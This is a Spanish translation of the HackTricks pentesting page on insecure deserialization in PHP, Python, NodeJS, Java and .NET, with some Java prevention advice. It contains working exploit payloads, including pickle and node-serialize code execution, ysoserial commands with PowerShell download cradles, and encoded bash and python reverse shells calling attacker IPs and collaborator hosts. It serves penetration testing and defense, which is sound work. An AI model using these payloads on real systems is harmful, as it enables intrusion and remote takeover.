hacktricks/pentesting-web/deserialization
2024-02-03 16:55:47 +00:00
..
nodejs-proto-prototype-pollution Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-02-03 16:55:47 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md f 2023-06-05 20:33:24 +02:00
basic-java-deserialization-objectinputstream-readobject.md f 2023-06-05 20:33:24 +02:00
exploiting-__viewstate-knowing-the-secret.md f 2023-06-05 20:33:24 +02:00
exploiting-__viewstate-parameter.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-01-10 06:28:19 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:46:19 +00:00
java-jsf-viewstate-.faces-deserialization.md f 2023-06-05 20:33:24 +02:00
java-transformers-to-rutime-exec-payload.md f 2023-06-05 20:33:24 +02:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated ['forensics/basic-forensic-methodology/windows-forensics/READ 2024-02-03 15:59:53 +00:00
php-deserialization-+-autoload-classes.md Translated ['forensics/basic-forensic-methodology/windows-forensics/READ 2024-02-03 15:59:53 +00:00
python-yaml-deserialization.md f 2023-06-05 20:33:24 +02:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-02-03 16:55:47 +00:00

Deserialization

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

**Serialization** es el proceso de convertir algún objeto en un formato de datos que puede ser restaurado más tarde. La gente a menudo serializa objetos para guardarlos en almacenamiento, o para enviar como parte de comunicaciones.

Deserialization es el proceso inverso, tomando datos estructurados de algún formato y reconstruyéndolos en un objeto. Hoy en día, el formato de datos más popular para serializar datos es JSON. Antes de eso, era XML.

En muchas ocasiones puedes encontrar código en el lado del servidor que deserializa algún objeto proporcionado por el usuario.
En este caso, puedes enviar una carga maliciosa para hacer que el lado del servidor se comporte de manera inesperada.

Deberías leer: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html para aprender cómo atacar.

PHP

Método mágico utilizado con serialización:

  • __sleep se llama cuando un objeto es serializado y debe devolver un array

Método mágico utilizado con deserialization

  • __wakeup se llama cuando un objeto es deserializado.
  • __unserialize se llama en lugar de __wakeup si existe.
  • __destruct se llama cuando el script de PHP termina y el objeto es destruido.
  • __toString usa el objeto como cadena pero también puede ser utilizado para leer archivos o más que eso basado en la llamada a función dentro de él.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Si observas los resultados, puedes ver que las funciones __wakeup y __destruct se llaman cuando el objeto es deserializado. Ten en cuenta que en varios tutoriales encontrarás que la función __toString se llama al intentar imprimir algún atributo, pero aparentemente eso ya no ocurre.

{% hint style="warning" %} El método`` __unserialize(array $data) se llama en lugar de __wakeup() si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria tras la deserialización.

phpCopy codeclass MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

Puede leer un ejemplo PHP explicado aquí: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, aquí https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf o aquí https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload de Clases

Podría abusar de la funcionalidad de autoload de PHP para cargar archivos php arbitrarios y más:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Serializando Valores Referenciados

Si por alguna razón desea serializar un valor como una referencia a otro valor serializado puede:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial para PHP)

PHPGGC puede ayudarte a generar cargas útiles para abusar de deserializaciones de PHP.
Ten en cuenta que en varios casos no podrás encontrar una manera de abusar de una deserialización en el código fuente de la aplicación, pero podrías ser capaz de abusar del código de extensiones externas de PHP.
Por lo tanto, si puedes, revisa el phpinfo() del servidor y busca en internet (e incluso en los gadgets de PHPGGC) algún posible gadget que podrías abusar.

phar:// deserialización de metadatos

Si has encontrado un LFI que solo está leyendo el archivo y no ejecutando el código PHP dentro de él, por ejemplo, utilizando funciones como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize(). Puedes intentar abusar de una deserialización que ocurre al leer un archivo utilizando el protocolo phar.
Para más información lee el siguiente post:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Cuando el objeto se deserializa, la función __reduce__ se ejecutará.
Cuando se explota, el servidor podría devolver un error.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Para obtener más información sobre cómo escapar de pickle jails, consulta:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

La siguiente página presenta la técnica para abusar de una deserialización insegura en bibliotecas de yamls de Python y termina con una herramienta que se puede utilizar para generar un payload de deserialización RCE para Pickle, PyYAML, jsonpickle y ruamel.yaml:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Class Pollution (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

Funciones Mágicas de JS

JS no tiene funciones "mágicas" como PHP o Python que se ejecutan solo por crear un objeto. Pero tiene algunas funciones que se usan frecuentemente incluso sin llamarlas directamente como toString, valueOf, toJSON.
Si abusas de una deserialización, puedes comprometer estas funciones para ejecutar otro código (potencialmente abusando de contaminaciones de prototipo) podrías ejecutar código arbitrario cuando se llamen.

Otra forma "mágica" de llamar a una función sin llamarla directamente es comprometiendo un objeto que es devuelto por una función asíncrona (promesa). Porque, si transformas ese objeto devuelto en otra promesa con una propiedad llamada "then" de tipo función, será ejecutada solo porque es devuelta por otra promesa. Sigue este enlace para más información.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ y contaminación de prototype

Si quieres aprender sobre esta técnica echa un vistazo al siguiente tutorial:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Esta biblioteca permite serializar funciones. Ejemplo:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

El objeto serializado se verá así:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Puedes ver en el ejemplo que cuando una función es serializada, la bandera _$$ND_FUNC$$_ se añade al objeto serializado.

Dentro del archivo node-serialize/lib/serialize.js puedes encontrar la misma bandera y cómo el código la está utilizando.

Como puedes ver en el último fragmento de código, si se encuentra la bandera eval se utiliza para deserializar la función, así que básicamente la entrada del usuario está siendo utilizada dentro de la función eval.

Sin embargo, solo serializar una función no la ejecutará ya que sería necesario que alguna parte del código esté llamando a y.rce en nuestro ejemplo y eso es altamente improbable.
De todos modos, podrías simplemente modificar el objeto serializado añadiendo algunos paréntesis para auto ejecutar la función serializada cuando el objeto es deserializado.
En el siguiente fragmento de código observa el último paréntesis y cómo la función unserialize ejecutará automáticamente el código:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Como se indicó anteriormente, esta biblioteca obtendrá el código después de _$$ND_FUNC$$_ y lo ejecutará usando eval. Por lo tanto, para auto-ejecutar código puedes eliminar la parte de creación de la función y el último paréntesis y solo ejecutar un JS oneliner como en el siguiente ejemplo:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Puedes encontrar aquí más información sobre cómo explotar esta vulnerabilidad.

funcster

La diferencia interesante aquí es que los objetos incorporados estándar no son accesibles, porque están fuera de alcance. Significa que podemos ejecutar nuestro código, pero no podemos llamar a los métodos de los objetos incorporados. Entonces, si usamos console.log() o require(algo), Node devuelve una excepción como "ReferenceError: console is not defined".

Sin embargo, podemos recuperar fácilmente el acceso a todo porque todavía tenemos acceso al contexto global usando algo como this.constructor.constructor("console.log(1111)")();:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Para más información, lee esta página.

serialize-javascript

El paquete no incluye ninguna funcionalidad de deserialización y requiere que la implementes tú mismo. Su ejemplo utiliza eval directamente. Este es el ejemplo oficial de deserialización:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Si esta función se utiliza para deserializar objetos, puedes explotarla fácilmente:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Biblioteca Cryo

En las siguientes páginas puedes encontrar información sobre cómo abusar de esta biblioteca para ejecutar comandos arbitrarios:

Java - HTTP

El principal problema con los objetos deserializados en Java es que se invocaban callbacks de deserialización durante la deserialización. Esto hace posible que un atacante pueda aprovechar esos callbacks y preparar un payload que abusa de los callbacks para realizar acciones maliciosas.

Huellas Digitales

Caja Blanca

Busca dentro del código clases y funciones de serialización. Por ejemplo, busca clases que implementen Serializable, el uso de java.io.ObjectInputStream __ o funciones readObject __ o readUnshare_.

También debes estar atento a:

  • XMLdecoder con parámetros definidos por el usuario externo
  • XStream con el método fromXML (la versión de xstream <= v1.46 es vulnerable al problema de serialización)
  • ObjectInputStream con readObject
  • Usos de readObject, readObjectNodData, readResolve o readExternal
  • ObjectInputStream.readUnshared
  • Serializable

Caja Negra

Huellas Digitales/Bytes Mágicos de objetos serializados en java (de ObjectInputStream):

  • AC ED 00 05 en Hex
  • rO0 en Base64
  • Encabezado Content-type de una respuesta HTTP configurado como application/x-java-serialized-object
  • 1F 8B 08 00 Hex previamente comprimido
  • H4sIA Base64 previamente comprimido
  • Archivos web con extensión .faces y parámetro faces.ViewState. Si encuentras esto en una webapp, echa un vistazo al post sobre Deserialización de Java JSF ViewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Verificar si es vulnerable

Si quieres aprender cómo funciona un exploit de Deserialización en Java deberías echar un vistazo a Deserialización Básica en Java, Deserialización DNS en Java, y Carga útil CommonsCollection1.

Prueba de Caja Blanca

Puedes verificar si hay alguna aplicación instalada con vulnerabilidades conocidas.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Podrías intentar verificar todas las bibliotecas conocidas por ser vulnerables y para las que Ysoserial puede proporcionar un exploit. O podrías verificar las bibliotecas indicadas en Java-Deserialization-Cheat-Sheet.
También puedes usar gadgetinspector para buscar posibles cadenas de gadgets que se puedan explotar.
Cuando ejecutes gadgetinspector (después de construirlo) no te preocupes por la gran cantidad de advertencias/errores por los que está pasando y déjalo terminar. Escribirá todos los hallazgos en gadgetinspector/gadget-results/gadget-chains-año-mes-día-hora-min.txt. Por favor, ten en cuenta que gadgetinspector no creará un exploit y puede indicar falsos positivos.

Prueba de Caja Negra

Usando la extensión de Burp gadgetprobe puedes identificar qué bibliotecas están disponibles (e incluso las versiones). Con esta información podría ser más fácil elegir un payload para explotar la vulnerabilidad.
Lee esto para aprender más sobre GadgetProbe.
GadgetProbe se enfoca en deserializaciones de ** ObjectInputStream **.**

Usando la extensión de Burp Java Deserialization Scanner puedes identificar bibliotecas vulnerables explotables con ysoserial y explotarlas.
Lee esto para aprender más sobre Java Deserialization Scanner.
Java Deserialization Scanner se enfoca en deserializaciones de ObjectInputStream.

También puedes usar Freddy para detectar vulnerabilidades de deserialización en Burp. Este plugin detectará vulnerabilidades relacionadas no solo con **ObjectInputStream** sino también con bibliotecas de deserialización de Json y Yml. En modo activo, intentará confirmarlas usando cargas útiles de sleep o DNS.
Puedes encontrar más información sobre Freddy aquí.

Prueba de Serialización

No todo se trata de verificar si el servidor utiliza alguna biblioteca vulnerable. A veces podrías ser capaz de cambiar los datos dentro del objeto serializado y eludir algunos controles (quizás otorgarte privilegios de administrador dentro de una aplicación web).
Si encuentras un objeto serializado de Java que se envía a una aplicación web, puedes usar SerializationDumper para imprimir en un formato más legible para humanos el objeto de serialización que se envía. Saber qué datos estás enviando sería más fácil para modificarlos y eludir algunos controles.

Explotar

ysoserial

La herramienta más conocida para explotar deserializaciones de Java es ysoserial (descargar aquí). También puedes considerar usar ysoserial-modificado que te permitirá usar comandos complejos (con tuberías, por ejemplo).
Ten en cuenta que esta herramienta está enfocada en explotar ObjectInputStream.
Yo empezaría usando el payload "URLDNS" antes de un payload RCE para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez el payload "URLDNS" no funcione pero otro payload RCE sí.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Al crear un payload para java.lang.Runtime.exec() no puedes usar caracteres especiales como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso pasar argumentos a un comando separados por espacios (puedes hacer echo -n "hello world" pero no puedes hacer python2 -c 'print "Hello world"'). Para codificar correctamente el payload podrías usar esta página web.

Siéntete libre de usar el siguiente script para crear todos los posibles payloads de ejecución de código para Windows y Linux y luego probarlos en la página web vulnerable:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Puedes usar https://github.com/pwntester/SerialKillerBypassGadgetCollection junto con ysoserial para crear más exploits. Más información sobre esta herramienta en las diapositivas de la charla donde se presentó la herramienta: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec se puede utilizar para generar payloads para explotar diferentes bibliotecas de serialización Json y Yml en Java.
Para compilar el proyecto necesité añadir estas dependencias al pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Instala maven y compila el proyecto:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Lea más sobre esta biblioteca JSON de Java: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratorios

Por qué

Java ADORA enviar objetos serializados por todos lados. Por ejemplo:

  • En solicitudes HTTP Parámetros, ViewState, Cookies, lo que sea.
  • RMI El protocolo RMI de Java, ampliamente utilizado, se basa 100% en la serialización.
  • RMI sobre HTTP Muchas aplicaciones web de cliente grueso de Java utilizan esto de nuevo, 100% objetos serializados.
  • JMX De nuevo, depende de objetos serializados enviados a través de la red.
  • Protocolos personalizados Enviar y recibir objetos Java crudos es la norma lo que veremos en algunos de los exploits que vienen.

Prevención

Objetos transitorios

Una clase que implementa Serializable puede marcar como transient cualquier objeto dentro de la clase que no debería ser serializable. Por ejemplo:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Evitar la Serialización de una clase que necesita implementar Serializable

Algunos de los objetos de tu aplicación pueden verse obligados a implementar Serializable debido a su jerarquía. Para garantizar que tus objetos de aplicación no puedan ser deserializados, se debe declarar un método readObject() (con un modificador final) que siempre lance una excepción:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Verificar la clase deserializada antes de deserializarla

La clase java.io.ObjectInputStream se utiliza para deserializar objetos. Es posible endurecer su comportamiento mediante la creación de subclases. Esta es la mejor solución si:

  • Puedes cambiar el código que realiza la deserialización
  • Sabes qué clases esperas deserializar

La idea general es sobrescribir ObjectInputStream.html#resolveClass() para restringir qué clases están permitidas para ser deserializadas.

Dado que esta llamada ocurre antes de que se llame a readObject(), puedes estar seguro de que no ocurrirá ninguna actividad de deserialización a menos que el tipo sea uno que desees permitir.

Un ejemplo sencillo de esto se muestra aquí, donde la clase LookAheadObjectInputStream está garantizada de no deserializar ningún otro tipo además de la clase Bicycle:

public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Endurecer todo el uso de java.io.ObjectInputStream con un Agente

Si no posees el código o no puedes esperar a un parche, utilizar un agente para incorporar endurecimiento a java.io.ObjectInputStream es la mejor solución.
Utilizando este enfoque, solo puedes poner en la lista negra los tipos maliciosos conocidos y no incluirlos en una lista blanca, ya que no sabes qué objetos están siendo serializados.

Para habilitar estos agentes, simplemente añade un nuevo parámetro JVM:

-javaagent:name-of-agent.jar

Ejemplo: rO0 by Contrast Security

Referencias

Inyección JNDI & log4Shell

Encuentra qué es Inyección JNDI, cómo abusar de ella a través de RMI, CORBA & LDAP y cómo explotar log4shell (y un ejemplo de esta vulnerabilidad) en la siguiente página:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Servicio de Mensajes Java

La API del Servicio de Mensajes Java (JMS) es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema productor-consumidor. JMS es parte de la Plataforma Java, Enterprise Edition (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de la Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicaciones basados en Java EE crear, enviar, recibir y leer mensajes. Permite la comunicación entre diferentes componentes de una aplicación distribuida de manera desacoplada, confiable y asíncrona. (De Wikipedia).

Productos

Hay varios productos que utilizan este middleware para enviar mensajes:

Explotación

Entonces, básicamente hay un montón de servicios que usan JMS de manera peligrosa. Por lo tanto, si tienes suficientes privilegios para enviar mensajes a estos servicios (usualmente necesitarás credenciales válidas) podrías ser capaz de enviar objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor.
Esto significa que en esta explotación todos los clientes que van a usar ese mensaje se infectarán.

Debes recordar que incluso si un servicio es vulnerable (porque está deserializando inseguramente la entrada del usuario) todavía necesitas encontrar gadgets válidos para explotar la vulnerabilidad.

La herramienta JMET fue creada para conectar y atacar estos servicios enviando varios objetos maliciosos serializados usando gadgets conocidos. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable.

Referencias

.Net

.Net es similar a Java en cuanto a cómo funcionan los exploits de deserialización: El exploit abusará de gadgets que ejecutan algún código interesante cuando un objeto es deserializado.

Huella Digital

WhiteBox

Busca en el código fuente los siguientes términos:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Busca cualquier serializador donde el tipo esté establecido por una variable controlada por el usuario.

BlackBox

Puedes buscar la cadena codificada en Base64 AAEAAAD///// o cualquier otra cosa que pueda ser deserializada en el back-end y que te permita controlar el tipo deserializado**.** Por ejemplo, un JSON o XML que contenga TypeObject o $type.

ysoserial.net

En este caso puedes usar la herramienta ysoserial.net para crear los exploits de deserialización. Una vez descargado el repositorio de git, debes compilar la herramienta usando Visual Studio, por ejemplo.

Si quieres aprender sobre cómo ysoserial.net crea sus exploits puedes consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + formateador Json.Net.

Las principales opciones de ysoserial.net son: --gadget, --formatter, **--output ** y --plugin.

  • --gadget se utiliza para indicar el gadget a abusar (indicar la clase/función que será abusada durante la deserialización para ejecutar comandos).
  • --formatter, se utiliza para indicar el método para serializar el exploit (necesitas saber qué biblioteca está usando el back-end para deserializar el payload y usar la misma para serializarlo)
  • **--output ** se utiliza para indicar si quieres el exploit en raw o codificado en base64. Nota que ysoserial.net codificará el payload usando UTF-16LE (codificación usada por defecto en Windows) así que si obtienes el raw y simplemente lo codificas desde una consola de Linux podrías tener algunos problemas de compatibilidad de codificación que impedirán que el exploit funcione correctamente (en la caja JSON de HTB el payload funcionó tanto en UTF-16LE como en ASCII pero esto no significa que siempre funcionará).
  • **--plugin ** ysoserial.net soporta plugins para crear exploits para frameworks específicos como ViewState

Más parámetros de ysoserial.net

  • --minify proporcionará un payload más pequeño (si es posible)
  • --raf -f Json.Net -c "cualquier cosa" Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (Json.Net en este caso)
  • --sf xml puedes indicar un gadget (-g) y ysoserial.net buscará formateadores que contengan "xml" (insensible a mayúsculas y minúsculas)

Ejemplos de ysoserial para crear exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net también tiene un parámetro muy interesante que ayuda a entender mejor cómo funciona cada exploit: --test
Si indicas este parámetro, ysoserial.net intentará el exploit localmente, para que puedas probar si tu payload funcionará correctamente.
